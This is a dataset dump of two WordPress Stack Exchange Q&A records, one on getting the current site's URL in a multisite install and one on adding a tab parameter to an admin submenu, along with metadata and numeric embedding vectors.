0.04974365234375,
0.0140533447265625,
0.0189208984375,
0.009429931640625,
-0.01549530029296875,
0.0288848876953125,
0.007427215576171875,
-0.022918701171875,
0.053741455078125,
0.015960693359375,
0.0264892578125,
-0.00785064697265625,
-0.00893402099609375,
-0.0182952880859375,
-0.0022220611572265625,
0.0149993896484375,
-0.036712646484375,
0.036529541015625,
0.03253173828125,
0.055938720703125,
-0.06793212890625,
-0.0308685302734375,
-0.03424072265625,
0.051361083984375,
-0.0033092498779296875,
0.0247344970703125,
-0.0072174072265625,
0.01160430908203125,
0.056976318359375,
0.01464080810546875,
0.0242462158203125,
0.0755615234375,
-0.039642333984375,
-0.01085662841796875,
0.0201873779296875,
0.0216064453125,
-0.0172576904296875,
0.0216064453125,
0.001262664794921875,
-0.0048980712890625,
-0.029998779296875,
-0.0667724609375,
0.022216796875,
0.0196685791015625,
-0.00884246826171875,
0.0247039794921875,
0.01233673095703125,
0.034637451171875,
0.08551025390625,
-0.050048828125,
-0.01160430908203125,
0.00966644287109375,
0.05078125,
-0.0114288330078125,
-0.049560546875,
-0.02337646484375,
-0.03656005859375,
-0.03594970703125,
-0.014007568359375,
0.046875,
0.08721923828125,
0.040557861328125,
0.0303192138671875,
-0.065673828125,
-0.05364990234375,
-0.0096282958984375,
-0.0158843994140625,
0.006999969482421875,
0.004581451416015625,
-0.01346588134765625,
0.0119171142578125,
0.00473785400390625,
0.03057861328125,
0.0203857421875,
0.0133514404296875,
0.03570556640625,
0.031646728515625,
-0.01360321044921875,
-0.00011998414993286133,
0.04290771484375,
-0.013397216796875,
-0.003963470458984375,
-0.0247039794921875,
0.042266845703125,
0.048919677734375,
0.0118560791015625,
0.01378631591796875,
0.0186614990234375,
0.0589599609375,
0.0061187744140625,
0.0240325927734375,
-0.004192352294921875,
-0.015289306640625,
0.0560302734375,
0.015899658203125,
0.07366943359375,
0.025604248046875,
-0.060882568359375,
-0.0173492431640625,
-0.027984619140625,
-0.0379638671875,
0.038909912109375,
0.032623291015625,
-0.01012420654296875,
0.00409698486328125,
0.04071044921875,
-0.01105499267578125,
-0.0232696533203125,
0.0203094482421875,
0.0087127685546875,
-0.00551605224609375,
0.006103515625,
0.01158905029296875,
0.00955963134765625,
0.01538848876953125,
0.01537322998046875,
0.00998687744140625,
0.0239715576171875,
0.045654296875,
-0.016387939453125,
0.017181396484375,
-0.021453857421875,
0.04107666015625,
-0.058746337890625,
-0.042388916015625,
0.078857421875,
-0.0335693359375,
-0.01532745361328125,
0.0055084228515625,
-0.017608642578125,
-0.019683837890625,
0.0596923828125,
-0.043182373046875,
0.00586700439453125,
-0.01812744140625,
0.0190582275390625,
-0.060302734375,
0.043701171875,
-0.01520538330078125,
0.006313323974609375,
-0.061431884765625,
-0.050872802734375,
0.07879638671875,
0.022705078125,
-0.0173187255859375,
-0.001708984375,
0.0217437744140625,
-0.034149169921875,
0.042205810546875,
-0.0161590576171875,
0.066162109375,
0.0496826171875,
-0.01464080810546875,
-0.02252197265625,
-0.003376007080078125,
-0.010467529296875,
0.0197296142578125,
0.0244293212890625,
0.01021575927734375,
0.032135009765625,
-0.0455322265625,
-0.0361328125,
0.0298004150390625,
0.0012922286987304688,
-0.056488037109375,
0.0171661376953125,
0.0262451171875,
-0.0386962890625,
0.02960205078125,
-0.0159454345703125,
-0.0257415771484375,
-0.038726806640625,
-0.00469207763671875,
0.006237030029296875,
-0.0250701904296875,
-0.022796630859375,
-0.054931640625,
0.01430511474609375,
0.0689697265625,
0.01227569580078125,
-0.0281219482421875,
0.0162200927734375,
-0.039794921875,
0.04150390625,
0.0185546875,
0.003200531005859375,
0.00994110107421875,
-0.00868988037109375,
-0.052703857421875,
0.031524658203125,
-0.020751953125,
-0.0343017578125,
0.01373291015625,
0.024627685546875,
0.018463134765625,
-0.043731689453125,
-0.0196533203125,
0.044281005859375,
0.04278564453125,
0.08758544921875,
0.07818603515625,
-0.024261474609375,
-0.01259613037109375,
0.031341552734375,
-0.01152801513671875,
-0.00945281982421875,
0.0362548828125,
-0.033355712890625,
-0.042694091796875,
-0.0062713623046875,
0.019744873046875,
0.035552978515625,
-0.0262908935546875,
-0.059600830078125,
0.0599365234375,
-0.0252532958984375,
-0.0260162353515625,
-0.0156707763671875,
0.0281829833984375,
-0.0179595947265625,
0.0197601318359375,
0.0047607421875,
-0.02252197265625,
0.01050567626953125,
0.005096435546875,
0.00152587890625,
0.0261993408203125,
-0.0009946823120117188,
-0.0013904571533203125,
-0.0604248046875,
-0.0005860328674316406,
-0.009429931640625,
0.0057220458984375,
0.00524139404296875,
-0.0014028549194335938,
0.00702667236328125,
0.01873779296875,
-0.0550537109375,
-0.0090789794921875,
-0.00970458984375,
0.0254974365234375,
0.0206756591796875,
-0.0255584716796875,
-0.0277862548828125,
-0.036651611328125,
0.0237884521484375,
-0.00832366943359375,
0.0099029541015625,
0.01561737060546875,
-0.038482666015625,
-0.057464599609375,
-0.020843505859375,
0.0125732421875,
0.01335906982421875,
-0.060089111328125,
0.025177001953125,
0.041168212890625,
-0.01493072509765625,
-0.0005450248718261719,
-0.0086669921875,
-0.033721923828125,
-0.0246124267578125,
-0.0258636474609375,
-0.01015472412109375,
-0.0201568603515625,
0.05230712890625,
-0.036590576171875,
-0.0114898681640625,
-0.05145263671875,
-0.016937255859375,
-0.01303863525390625,
-0.0628662109375,
-0.0107269287109375,
-0.0287017822265625,
0.017822265625,
0.01300811767578125,
0.01006317138671875,
0.01554107666015625,
-0.01434326171875,
0.0208740234375,
0.03192138671875,
-0.03057861328125,
-0.000728607177734375,
0.007778167724609375,
-0.0255584716796875,
-0.00681304931640625,
0.04583740234375,
0.018585205078125,
0.10382080078125,
0.01324462890625,
0.0289764404296875,
0.0027523040771484375,
0.039306640625,
-0.004207611083984375,
-0.0229949951171875,
-0.0048065185546875,
-0.0262908935546875,
0.0035400390625,
-0.03253173828125,
-0.002841949462890625,
-0.02874755859375,
0.02642822265625,
-0.00472259521484375,
-0.03851318359375,
0.01983642578125
] |
14c9a6e4d00fc70ebee43163f2144364ce152d83
|
Wordpress Stackexchange
Q: Multisite get_home_url(); - Getting URL for current site What would be the replacement for get_home_url() when using a multisite? For example, if I have one theme installed across several sites, and within the theme there are links that need to be specific to the current site.
On my single install, using get_home_url(); would give me http://domain.com/, which was great, and if I moved the theme to a different domain, nothing would be affected. But when I'm using the same theme on a multisite, get_home_url(); gives me http://domain.com/ no matter which site I am currently on. What I would need for each one is domain.com/sitename/. Is there a different tag to use in this case?
Thanks!
EDIT
Can't answer my own question yet, but <?php echo get_bloginfo( 'url' )?> was exactly was I was looking for.
A: <?php echo get_bloginfo( 'url' )?> was exactly was I was looking for.
|
Q: Multisite get_home_url(); - Getting URL for current site What would be the replacement for get_home_url() when using a multisite? For example, if I have one theme installed across several sites, and within the theme there are links that need to be specific to the current site.
On my single install, using get_home_url(); would give me http://domain.com/, which was great, and if I moved the theme to a different domain, nothing would be affected. But when I'm using the same theme on a multisite, get_home_url(); gives me http://domain.com/ no matter which site I am currently on. What I would need for each one is domain.com/sitename/. Is there a different tag to use in this case?
Thanks!
EDIT
Can't answer my own question yet, but <?php echo get_bloginfo( 'url' )?> was exactly was I was looking for.
A: <?php echo get_bloginfo( 'url' )?> was exactly was I was looking for.
A: You can use get_site_url() in combination with get_current_blog_id().
A: I would recommend you use home_url() to get the URL to the front page of the currently viewed site.
If you want to get the main site URL (the network home), use network_home_url().
A: I have a not "so better", but a solution.
I've tried with your method with the following setup:
*
*Localhost,
*Using ISS
*Wordpress version 4.1
and to get the right url I changed the wp-config.php and added this line:
define('WP_DEBUG', false);
define('MULTISITE', true);
define('SUBDOMAIN_INSTALL', false);
define('DOMAIN_CURRENT_SITE', 'localhost');
define('PATH_CURRENT_SITE', '/wordpress/');*
define('URL_SITE', 'http://'.DOMAIN_CURRENT_SITE.PATH_CURRENT_SITE );
define('SITE_ID_CURRENT_SITE', 1);
define('BLOG_ID_CURRENT_SITE', 1);
I hope that can help someone with this.
|
wordpress
|
{
"language": "en",
"length": 257,
"provenance": "stackexchange_00019.jsonl.gz:437291",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114742"
}
|
[
0.0308837890625,
-0.0100250244140625,
0.01154327392578125,
-0.00971221923828125,
0.002681732177734375,
-0.02996826171875,
0.041839599609375,
-0.009857177734375,
-0.0035114288330078125,
0.026123046875,
-0.01776123046875,
-0.015716552734375,
0.0037174224853515625,
-0.03778076171875,
0.018035888671875,
-0.018096923828125,
0.042633056640625,
-0.036346435546875,
0.00931549072265625,
-0.0004754066467285156,
-0.0001596212387084961,
0.019134521484375,
0.0261077880859375,
0.07855224609375,
0.03228759765625,
-0.054962158203125,
0.049041748046875,
-0.002262115478515625,
0.01131439208984375,
-0.023681640625,
0.0228729248046875,
-0.01380157470703125,
0.024871826171875,
-0.01103973388671875,
-0.0080108642578125,
-0.051361083984375,
-0.013763427734375,
0.01367950439453125,
-0.006046295166015625,
0.0180511474609375,
0.02227783203125,
-0.01427459716796875,
-0.0191650390625,
0.036376953125,
-0.01358795166015625,
-0.05511474609375,
0.042755126953125,
-0.0251312255859375,
0.0004608631134033203,
-0.006580352783203125,
0.03179931640625,
0.006389617919921875,
0.0299224853515625,
-0.00823211669921875,
-0.035125732421875,
-0.01296234130859375,
0.03289794921875,
-0.0175018310546875,
0.0240325927734375,
-0.05718994140625,
-0.04864501953125,
0.005950927734375,
0.04345703125,
0.014984130859375,
-0.022064208984375,
-0.0099029541015625,
-0.00884246826171875,
0.01299285888671875,
-0.07073974609375,
-0.033172607421875,
0.044464111328125,
-0.02825927734375,
0.0096893310546875,
-0.002399444580078125,
-0.0182342529296875,
-0.0355224609375,
-0.00994873046875,
-0.038665771484375,
0.025177001953125,
-0.0034618377685546875,
-0.037933349609375,
-0.037445068359375,
-0.07781982421875,
-0.028350830078125,
0.0218505859375,
0.00021016597747802734,
-0.005649566650390625,
0.0006422996520996094,
-0.06512451171875,
-0.0085601806640625,
-0.04486083984375,
-0.032073974609375,
-0.051605224609375,
-0.00878143310546875,
-0.0105743408203125,
-0.003997802734375,
0.0098114013671875,
0.035491943359375,
-0.0273895263671875,
-0.031036376953125,
-0.0421142578125,
-0.0038585662841796875,
-0.034423828125,
-0.0176239013671875,
0.0037174224853515625,
0.033477783203125,
0.03521728515625,
0.04693603515625,
0.0219268798828125,
0.004894256591796875,
-0.01432037353515625,
0.0011720657348632812,
-0.035736083984375,
-0.023712158203125,
-0.0277252197265625,
0.030059814453125,
-0.059051513671875,
-0.038726806640625,
-0.019744873046875,
-0.022369384765625,
0.017730712890625,
0.06732177734375,
-0.0129241943359375,
-0.01065826416015625,
-0.024261474609375,
-0.00457000732421875,
0.0080413818359375,
-0.06817626953125,
-0.0169677734375,
0.0005517005920410156,
-0.026824951171875,
0.025238037109375,
0.041351318359375,
-0.0134429931640625,
-0.0145263671875,
-0.0257415771484375,
-0.001308441162109375,
0.0017786026000976562,
0.00994873046875,
-0.0042724609375,
0.02191162109375,
-0.022613525390625,
0.0008602142333984375,
-0.00916290283203125,
-0.0108489990234375,
-0.014007568359375,
0.021240234375,
0.044708251953125,
-0.002979278564453125,
-0.026947021484375,
0.00424957275390625,
0.0188140869140625,
0.0276947021484375,
0.004413604736328125,
0.02557373046875,
-0.051422119140625,
0.0259246826171875,
-0.039703369140625,
0.0281219482421875,
-0.0242919921875,
0.005756378173828125,
-0.00959014892578125,
0.00830078125,
-0.009307861328125,
-0.030914306640625,
-0.0174713134765625,
-0.00504302978515625,
-0.01230621337890625,
0.0161590576171875,
-0.0088043212890625,
0.0027141571044921875,
-0.030853271484375,
0.02618408203125,
0.01284027099609375,
0.00312042236328125,
0.0149078369140625,
-0.008819580078125,
0.021942138671875,
0.0157012939453125,
0.050018310546875,
0.0081787109375,
-0.0125885009765625,
0.0504150390625,
-0.01395416259765625,
-0.07672119140625,
0.07281494140625,
-0.016082763671875,
0.06781005859375,
0.01338958740234375,
0.006134033203125,
0.0250701904296875,
0.02142333984375,
-0.057586669921875,
0.0301513671875,
0.00455474853515625,
0.021514892578125,
-0.0301361083984375,
0.0246429443359375,
-0.0226898193359375,
-0.041015625,
-0.004222869873046875,
0.00119781494140625,
0.01910400390625,
0.017364501953125,
0.0011920928955078125,
0.0186004638671875,
-0.00885009765625,
0.019866943359375,
-0.00020968914031982422,
0.02337646484375,
0.005443572998046875,
0.0187225341796875,
0.0003676414489746094,
-0.09466552734375,
-0.0301055908203125,
0.03741455078125,
-0.026763916015625,
-0.01454925537109375,
-0.002140045166015625,
-0.0029125213623046875,
0.0018625259399414062,
0.0037021636962890625,
-0.020904541015625,
-0.0152587890625,
0.052032470703125,
-0.00859832763671875,
-0.021820068359375,
-0.023193359375,
-0.0065460205078125,
0.0241546630859375,
-0.08514404296875,
0.039306640625,
-0.0032367706298828125,
0.046600341796875,
-0.0011644363403320312,
-0.01812744140625,
0.041015625,
-0.0271759033203125,
0.034271240234375,
0.0202484130859375,
0.03533935546875,
-0.0111846923828125,
0.0020084381103515625,
-0.0200347900390625,
0.016815185546875,
-0.0276031494140625,
0.01419830322265625,
-0.03082275390625,
0.0178985595703125,
0.07220458984375,
-0.024627685546875,
0.00853729248046875,
0.0016870498657226562,
-0.0211639404296875,
-0.0243682861328125,
0.05194091796875,
0.00030732154846191406,
0.0062103271484375,
-0.024383544921875,
0.0005550384521484375,
0.0081939697265625,
0.00255584716796875,
-0.0224151611328125,
0.0113372802734375,
-0.04718017578125,
0.04376220703125,
-0.01207733154296875,
0.01355743408203125,
-0.0201873779296875,
0.00760650634765625,
0.00992584228515625,
0.01336669921875,
0.006237030029296875,
0.0418701171875,
0.00731658935546875,
-0.0272979736328125,
0.019805908203125,
-0.033782958984375,
-0.00855255126953125,
0.00023484230041503906,
-0.038604736328125,
0.00812530517578125,
-0.044036865234375,
-0.0112762451171875,
-0.02032470703125,
-0.064697265625,
0.0021724700927734375,
0.00930023193359375,
0.061859130859375,
0.0162811279296875,
0.036163330078125,
-0.0130462646484375,
-0.046417236328125,
0.07647705078125,
0.001392364501953125,
-0.057586669921875,
0.035064697265625,
-0.05377197265625,
0.02239990234375,
-0.01450347900390625,
0.050079345703125,
0.049957275390625,
0.0146484375,
0.003971099853515625,
-0.004047393798828125,
0.01396942138671875,
-0.004489898681640625,
-0.037353515625,
-0.039154052734375,
0.05706787109375,
-0.1217041015625,
0.017242431640625,
-0.0022563934326171875,
-0.0235595703125,
0.004558563232421875,
-0.017242431640625,
-0.0027313232421875,
-0.032958984375,
-0.091064453125,
-0.07757568359375,
-0.03436279296875,
-0.04608154296875,
-0.01043701171875,
0.0002162456512451172,
-0.0284576416015625,
0.028961181640625,
0.009307861328125,
0.01308441162109375,
0.056671142578125,
-0.053314208984375,
-0.09588623046875,
-0.0767822265625,
-0.11981201171875,
-0.044158935546875,
-0.01464080810546875,
-0.0014410018920898438,
-0.00041794776916503906,
0.01300048828125,
-0.005809783935546875,
-0.006458282470703125,
0.005035400390625,
0.04412841796875,
0.019073486328125,
-0.025299072265625,
-0.01849365234375,
-0.0036411285400390625,
0.004421234130859375,
0.0056610107421875,
0.002140045166015625,
0.0102386474609375,
-0.0019702911376953125,
-0.0026912689208984375,
0.00528717041015625,
-0.0079345703125,
0.0186309814453125,
-0.0037937164306640625,
-0.004436492919921875,
0.033172607421875,
0.033966064453125,
-0.022613525390625,
-0.01244354248046875,
-0.05224609375,
-0.044403076171875,
0.0809326171875,
0.0458984375,
-0.00293731689453125,
0.01471710205078125,
0.0181427001953125,
-0.00041794776916503906,
-0.034881591796875,
0.035552978515625,
-0.01250457763671875,
0.0498046875,
-0.018951416015625,
-0.0018129348754882812,
-0.0390625,
0.01407623291015625,
-0.0233001708984375,
0.009796142578125,
-0.0082550048828125,
0.00716400146484375,
-0.0211029052734375,
0.00435638427734375,
-0.039764404296875,
-0.044647216796875,
0.050994873046875,
-0.01412200927734375,
0.041473388671875,
-0.05059814453125,
-0.0308837890625,
-0.034271240234375,
0.08831787109375,
-0.06268310546875,
-0.006015777587890625,
0.00894927978515625,
0.0161285400390625,
-0.02276611328125,
-0.045989990234375,
-0.0718994140625,
-0.0122222900390625,
-0.087646484375,
-0.0051727294921875,
-0.025665283203125,
-0.0208587646484375,
-0.01047515869140625,
0.0299530029296875,
-0.012939453125,
-0.043914794921875,
0.024810791015625,
0.013427734375,
-0.00885772705078125,
0.006618499755859375,
-0.011627197265625,
-0.0084075927734375,
0.00397491455078125,
-0.0093231201171875,
-0.01462554931640625,
-0.0181427001953125,
-0.0275726318359375,
0.033050537109375,
0.032989501953125,
-0.03509521484375,
0.03363037109375,
0.05426025390625,
-0.0076141357421875,
0.03936767578125,
-0.004924774169921875,
-0.003902435302734375,
0.03875732421875,
-0.0011606216430664062,
-0.0089263916015625,
-0.00682830810546875,
0.002910614013671875,
-0.0215911865234375,
-0.055023193359375,
-0.00019991397857666016,
0.00244903564453125,
0.035858154296875,
0.0292816162109375,
-0.01441192626953125,
-0.034271240234375,
-0.007160186767578125,
0.003082275390625,
-0.00406646728515625,
0.00020503997802734375,
-0.0212554931640625,
0.0205230712890625,
-0.024200439453125,
0.015869140625,
0.0026226043701171875,
-0.039520263671875,
0.001789093017578125,
0.03680419921875,
0.0316162109375,
-0.0271453857421875,
0.01239013671875,
0.027801513671875,
0.035614013671875,
0.023590087890625,
0.04693603515625,
0.01335906982421875,
-0.025238037109375,
0.04290771484375,
0.0034351348876953125,
0.00508880615234375,
0.0273590087890625,
0.003627777099609375,
0.0188446044921875,
-0.028106689453125,
0.026275634765625,
0.0253448486328125,
-0.0200958251953125,
0.048309326171875,
-0.007038116455078125,
-0.0173187255859375,
-0.046661376953125,
0.0167236328125,
-0.0128631591796875,
0.0253143310546875,
-0.034271240234375,
-0.032623291015625,
0.0089874267578125,
-0.004550933837890625,
0.0007376670837402344,
0.042572021484375,
-0.021209716796875,
0.0233917236328125,
-0.0013513565063476562,
-0.015838623046875,
-0.00640869140625,
0.0195465087890625,
-0.00275421142578125,
0.0258026123046875,
-0.054443359375,
-0.041778564453125,
-0.01422882080078125,
-0.02093505859375,
0.06268310546875,
-0.01194000244140625,
-0.02880859375,
0.00493621826171875,
-0.0196380615234375,
0.0151214599609375,
0.0249481201171875,
-0.01348876953125,
0.03778076171875,
0.035064697265625,
-0.0288848876953125,
-0.018585205078125,
-0.0201568603515625,
-0.023406982421875,
-0.05645751953125,
0.002902984619140625,
-0.016510009765625,
0.017181396484375,
0.042022705078125,
0.048309326171875,
-0.0218353271484375,
0.0599365234375,
-0.0226593017578125,
-0.044677734375,
0.01161956787109375,
-0.006305694580078125,
0.0265655517578125,
0.00025653839111328125,
0.005664825439453125,
-0.03009033203125,
0.060455322265625,
0.01532745361328125,
-0.003173828125,
0.0117340087890625,
0.05487060546875,
0.0006866455078125,
0.005474090576171875,
-0.0222625732421875,
-0.050262451171875,
-0.00948333740234375,
0.06268310546875,
-0.004917144775390625,
-0.07476806640625,
-0.0224609375,
0.021484375,
0.0226593017578125,
-0.0265045166015625,
-0.03338623046875,
0.01276397705078125,
-0.01245880126953125,
0.01375579833984375,
-0.0167083740234375,
-0.032867431640625,
0.020721435546875,
0.0291900634765625,
-0.00487518310546875,
-0.02978515625,
0.0037994384765625,
-0.03955078125,
0.002414703369140625,
-0.0377197265625,
-0.030029296875,
0.050445556640625,
-0.01178741455078125,
0.0272216796875,
-0.034271240234375,
-0.037933349609375,
-0.040069580078125,
-0.0053253173828125,
0.0704345703125,
0.04541015625,
-0.0623779296875,
0.0328369140625,
-0.05841064453125,
0.0189208984375,
0.0031108856201171875,
-0.06219482421875,
-0.0341796875,
-0.0635986328125,
0.0139312744140625,
0.0260772705078125,
0.0052947998046875,
-0.0243072509765625,
0.006130218505859375,
-0.00783538818359375,
-0.001529693603515625,
0.01702880859375,
-0.0216217041015625,
0.033843994140625,
0.038665771484375,
0.005893707275390625,
0.0191192626953125,
0.032562255859375,
0.01203155517578125,
-0.034393310546875,
0.02325439453125,
-0.02972412109375,
-0.045806884765625,
-0.031585693359375,
0.0074615478515625,
0.0281524658203125,
0.0316162109375,
-0.007427215576171875,
-0.0228271484375,
0.00677490234375,
-0.002895355224609375,
-0.0269775390625,
0.01210784912109375,
0.0026264190673828125,
-0.002117156982421875,
-0.032958984375,
0.00396728515625,
0.0056915283203125,
-0.0176849365234375,
0.00311279296875,
-0.01165008544921875,
0.01427459716796875,
-0.01934814453125,
0.0144500732421875,
-0.046722412109375,
0.056365966796875,
0.1160888671875,
-0.002414703369140625,
0.0657958984375,
0.028778076171875,
0.0160064697265625,
0.0438232421875,
0.01751708984375,
-0.0252532958984375,
-0.04248046875,
0.032012939453125,
0.0074310302734375,
-0.003002166748046875,
0.0269622802734375,
-0.00836944580078125,
0.00421905517578125,
0.01128387451171875,
0.0220184326171875,
-0.042572021484375,
0.0016031265258789062,
0.016204833984375,
0.0013790130615234375,
0.01163482666015625,
0.04119873046875,
-0.03399658203125,
-0.01009368896484375,
-0.0031719207763671875,
-0.0280609130859375,
-0.0020694732666015625,
0.01216888427734375,
0.0245208740234375,
-0.005756378173828125,
-0.01959228515625,
0.038055419921875,
-0.0095367431640625,
-0.04962158203125,
-0.01239776611328125,
0.030609130859375,
-0.044036865234375,
-0.0276031494140625,
-0.005214691162109375,
0.032012939453125,
-0.030242919921875,
-0.07879638671875,
0.003391265869140625,
-0.0101776123046875,
-0.01403045654296875,
-0.0516357421875,
-0.01062774658203125,
0.0195159912109375,
0.017059326171875,
-0.00897216796875,
-0.031524658203125,
0.0134429931640625,
-0.0270538330078125,
0.00786590576171875,
0.01219940185546875,
0.023895263671875,
0.005886077880859375,
-0.0189971923828125,
0.00412750244140625,
-0.039093017578125,
-0.003444671630859375,
-0.01052093505859375,
-0.0083465576171875,
0.068603515625,
-0.0241241455078125,
-0.010223388671875,
0.03009033203125,
0.016021728515625,
-0.0125274658203125,
-0.015533447265625,
0.0281219482421875,
-0.0767822265625,
-0.038543701171875,
0.0013647079467773438,
-0.030853271484375,
-0.00989532470703125,
-0.0291900634765625,
-0.06024169921875,
0.1024169921875,
-0.0268402099609375,
0.06982421875,
0.052398681640625,
0.0186920166015625,
-0.0303497314453125,
-0.00021457672119140625,
-0.019256591796875,
0.032318115234375,
-0.0159149169921875,
0.003353118896484375,
-0.03570556640625,
0.00418853759765625,
-0.01348114013671875,
0.032379150390625,
0.0189208984375,
0.01296234130859375,
-0.032470703125,
-0.0178985595703125,
0.00858306884765625,
0.0391845703125,
0.000005662441253662109,
0.0294647216796875,
0.0041351318359375,
0.0477294921875,
0.05010986328125,
-0.041778564453125,
0.02392578125,
0.004673004150390625,
-0.00855255126953125,
0.0302276611328125,
-0.00473785400390625,
-0.03277587890625,
-0.011138916015625,
-0.055389404296875,
-0.08758544921875,
0.017852783203125,
0.034088134765625,
0.01513671875,
0.027069091796875,
0.01143646240234375,
0.00494384765625,
0.004390716552734375,
0.0828857421875,
-0.035430908203125,
0.050140380859375,
-0.0278778076171875,
-0.01024627685546875,
0.0219268798828125,
0.01751708984375,
0.025726318359375,
-0.00569915771484375,
-0.015655517578125,
0.013397216796875,
0.0188446044921875,
0.0609130859375,
0.051116943359375,
0.033782958984375,
-0.020416259765625,
0.01456451416015625,
0.0623779296875,
0.07147216796875,
-0.03900146484375,
-0.01776123046875,
0.00003081560134887695,
0.0019063949584960938,
0.03680419921875,
-0.0030117034912109375,
0.04931640625,
0.0009775161743164062,
-0.0209808349609375,
-0.00771331787109375,
-0.0216217041015625,
0.0205841064453125,
0.01324462890625,
0.0125732421875,
-0.0164947509765625,
-0.003993988037109375,
-0.0178985595703125,
-0.0362548828125,
0.0026416778564453125,
0.0029964447021484375,
0.046417236328125,
0.028656005859375,
0.069580078125,
-0.0301513671875,
-0.02703857421875,
-0.0178070068359375,
0.055572509765625,
-0.004791259765625,
0.01132965087890625,
-0.056793212890625,
-0.07501220703125,
0.02410888671875,
0.053863525390625,
0.044677734375,
0.03692626953125,
0.0328369140625,
-0.0007429122924804688,
0.0008144378662109375,
0.023468017578125,
0.0204925537109375,
-0.0213470458984375,
0.07177734375,
-0.0743408203125,
0.03790283203125,
-0.0287933349609375,
-0.0177154541015625,
-0.039886474609375,
-0.030731201171875,
0.04876708984375,
-0.016998291015625,
0.058502197265625,
0.002094268798828125,
0.005100250244140625,
-0.01471710205078125,
-0.01141357421875,
0.021636962890625,
-0.00363922119140625,
-0.032073974609375,
-0.017333984375,
-0.0033416748046875,
0.00426483154296875,
0.0021305084228515625,
0.040618896484375,
0.0312042236328125,
-0.0162200927734375,
-0.03802490234375,
0.0007653236389160156,
0.0009627342224121094,
-0.01548004150390625,
-0.015045166015625,
0.007114410400390625,
0.00949859619140625,
-0.0045318603515625,
-0.041168212890625,
-0.0271148681640625,
0.00986480712890625,
0.0107269287109375,
-0.0209197998046875,
0.06927490234375,
-0.01490020751953125,
0.0008754730224609375,
0.032379150390625,
0.01236724853515625,
-0.00868988037109375,
0.00777435302734375,
0.0047607421875,
-0.0238037109375,
0.0192413330078125,
-0.0021228790283203125,
-0.0374755859375,
0.022064208984375,
0.0189666748046875,
-0.035980224609375,
0.046142578125,
-0.0128173828125,
-0.003055572509765625,
-0.042938232421875,
0.014617919921875,
-0.0240325927734375,
-0.053466796875,
-0.07354736328125,
-0.0074462890625,
0.043701171875,
0.06024169921875,
-0.0200347900390625,
0.04876708984375,
0.033660888671875,
0.01422119140625,
0.02734375,
-0.021270751953125,
0.0389404296875,
0.02862548828125,
-0.0188751220703125,
-0.032379150390625,
0.0190277099609375,
-0.00617218017578125,
0.016448974609375,
-0.0050506591796875,
0.0806884765625,
0.00018930435180664062,
0.0156402587890625,
0.026092529296875,
-0.0066070556640625,
0.02655029296875,
-0.0179595947265625,
0.01035308837890625,
0.03790283203125,
0.0226898193359375,
-0.0119171142578125,
-0.05908203125,
-0.01520538330078125,
-0.0496826171875,
-0.01190948486328125,
0.00984954833984375,
-0.0281829833984375,
-0.0154571533203125,
0.0005903244018554688,
-0.02056884765625,
0.005615234375,
-0.0162811279296875,
-0.0074310302734375,
0.0012197494506835938,
-0.030364990234375,
0.0025081634521484375,
-0.048553466796875,
-0.0179901123046875,
-0.01107025146484375,
0.0224609375,
0.00475311279296875,
-0.00382232666015625,
-0.04266357421875,
0.003383636474609375,
-0.0286712646484375,
0.0148773193359375,
0.054412841796875,
-0.0016689300537109375,
-0.054779052734375,
0.01404571533203125,
-0.017120361328125,
0.0560302734375,
-0.04937744140625,
-0.036956787109375,
-0.0220947265625,
-0.0273284912109375,
-0.0173797607421875,
-0.0158233642578125,
0.035736083984375,
-0.059783935546875,
-0.051849365234375,
-0.01215362548828125,
-0.020050048828125,
-0.01253509521484375,
-0.045379638671875,
-0.055389404296875,
0.06329345703125,
-0.007366180419921875,
-0.032318115234375,
-0.0496826171875,
-0.0178375244140625,
0.01428985595703125,
0.00904083251953125,
-0.01227569580078125,
-0.015380859375,
-0.061187744140625,
0.0204620361328125,
0.0251312255859375,
0.042999267578125,
0.0032787322998046875,
0.017242431640625,
-0.035675048828125,
0.0233917236328125,
0.0122833251953125,
0.0230255126953125,
0.0284576416015625,
-0.042083740234375,
0.03814697265625,
0.030487060546875,
-0.0303802490234375,
-0.020904541015625,
0.006946563720703125,
-0.0171051025390625,
-0.024688720703125,
-0.02593994140625,
0.00734710693359375,
-0.000446319580078125,
0.033538818359375,
0.031158447265625,
0.00506591796875,
-0.022857666015625,
-0.035858154296875,
-0.0160980224609375,
-0.04083251953125,
-0.0221710205078125,
0.0357666015625,
-0.07843017578125,
-0.004917144775390625,
-0.0007052421569824219,
-0.0269622802734375,
-0.020416259765625,
-0.007762908935546875,
-0.055755615234375,
0.00965118408203125,
0.0030841827392578125,
0.0147247314453125,
-0.039581298828125,
0.0077362060546875,
0.0811767578125,
-0.039093017578125,
0.020721435546875,
-0.00731658935546875,
0.0207366943359375,
0.033599853515625,
-0.018707275390625,
0.043365478515625,
0.0306854248046875,
-0.05352783203125,
-0.006816864013671875,
0.0321044921875,
0.033782958984375,
-0.0016813278198242188,
-0.06964111328125,
-0.0029125213623046875,
0.0201416015625,
-0.0283966064453125,
0.0279541015625,
0.048126220703125,
0.00791168212890625,
0.0013561248779296875,
0.0166015625,
-0.0300445556640625,
0.056365966796875,
-0.03387451171875,
0.0325927734375,
-0.01416778564453125,
0.0168914794921875,
0.030517578125,
0.0006880760192871094,
-0.00212860107421875,
0.01611328125,
-0.01070404052734375,
-0.00659942626953125,
0.005283355712890625,
0.0011339187622070312,
-0.0012874603271484375,
-0.00010097026824951172
] |
f808ba9861a5c6e387cd32faaf02a7f3ffe43cab
|
Wordpress Stackexchange
Q: How to create sub menu with a URL parameter? I would like to add parameter for the submenus, but when I click to the admin page I receive the following message:
You do not have sufficient permissions to access this page.
Code:
add_submenu_page(
'sandbox',
'Sandbox Options',
'Options',
'administrator',
'sandbox_options&tab=4',
'sandbox_options_display'
);
Without &tab=4 everything is okay.
A: You'd have to manipulate the global $submenu and modify the link in it. Or use jQuery.
The following example adds a submenu in the Dashboard menu and changes the destination link just after. The submenu page will dump the contents of the global var.
add_action( 'admin_menu', function()
{
add_submenu_page(
'index.php',
'Sandbox Options',
'Options',
'administrator',
'sandbox_options',
function() { global $submenu; var_dump($submenu); }
);
global $submenu;
$submenu['index.php'][11][2] = 'index.php?page=sandbox_options&tab=3';
});
[Update]
The example given, Redux Framework, uses the following technique:
*
*Add a menu page with a slug example_slug.
*Add the submenu pages and use the same slug example_slug + &tab=N.
*All the menu and submenu pages are rendered with the menu callback. The submenu have null callbacks.
Example:
add_submenu_page(
'sandbox',
'Sandbox Options',
'Options',
'add_users',
'sandbox&tab=4',
'__return_null'
);
|
